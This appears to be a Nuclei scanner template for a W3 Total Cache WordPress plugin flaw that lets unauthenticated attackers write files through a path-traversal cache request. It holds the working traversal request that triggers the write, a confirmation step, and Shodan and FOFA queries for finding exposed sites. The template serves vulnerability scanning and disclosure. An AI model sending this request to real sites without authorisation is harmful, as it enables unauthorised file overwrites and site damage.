CVE-2026-18051: W3 Total Cache < 2.10.5 - Unauthenticated Arbitrary Directory File Write

id: CVE-2026-18051

info:
  name: W3 Total Cache < 2.10.5 - Unauthenticated Arbitrary Directory File Write
  author: HaroonArshad-53
  severity: critical
  description: |
    W3 Total Cache WordPress plugin < 2.10.5 contains an unrestricted file write vulnerability caused by improper validation of request paths used for cache file names, letting unauthenticated attackers overwrite files including .htaccess, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can overwrite arbitrary files, including .htaccess, potentially breaking the site and disabling security measures.
  remediation: |
    Upgrade to version 2.10.5 or later.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-18051
    - https://wpscan.com/vulnerability/dc56cdd2-419b-4a64-9d2a-29dc7e79cb6d/
  classification:
    cve-id: CVE-2026-18051
    epss-score: 0.02007
    epss-percentile: 0.8097
    cwe-id: CWE-22
  metadata:
    max-request: 5
    vendor: boldgrid
    product: w3-total-cache
    shodan-query: http.html:"/wp-content/plugins/w3-total-cache/"
    fofa-query: body="/wp-content/plugins/w3-total-cache/"
  tags: cve,cve2026,wordpress,w3-total-cache,path-traversal,unauth,intrusive

variables:
  marker: "{{rand_base(8, 'acfhjnprx')}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /wp-content/plugins/w3-total-cache/readme.txt HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - "Stable tag: ([0-9.]+)"

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "< 2.10.5")'
        internal: true

  - raw:
      - |
        GET /search/{{marker}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        condition: and
        dsl:
          - "status_code == 200"
          - 'contains(to_lower(body), "w3 total cache")'
        internal: true

  - raw:
      - |
        GET /search/{{marker}}/%2e%2e%5c%2e%2e%5c HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
        internal: true

  - raw:
      - |
        GET /wp-content/cache/page_enhanced/{{Hostname}}/_index_slash_ssl.html HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/cache/page_enhanced/{{Hostname}}/_index_slash.html HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains_any(body, marker, "search-no-results")'
        condition: and
# digest: 4b0a00483046022100f4feefea72e9920a271e26418a5b28573165051b744228fe4370e770e88c5728022100d52a29c548e6846a33ad4155a9624de74acafca297b44b1cfe6cb4fd9749e5e7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.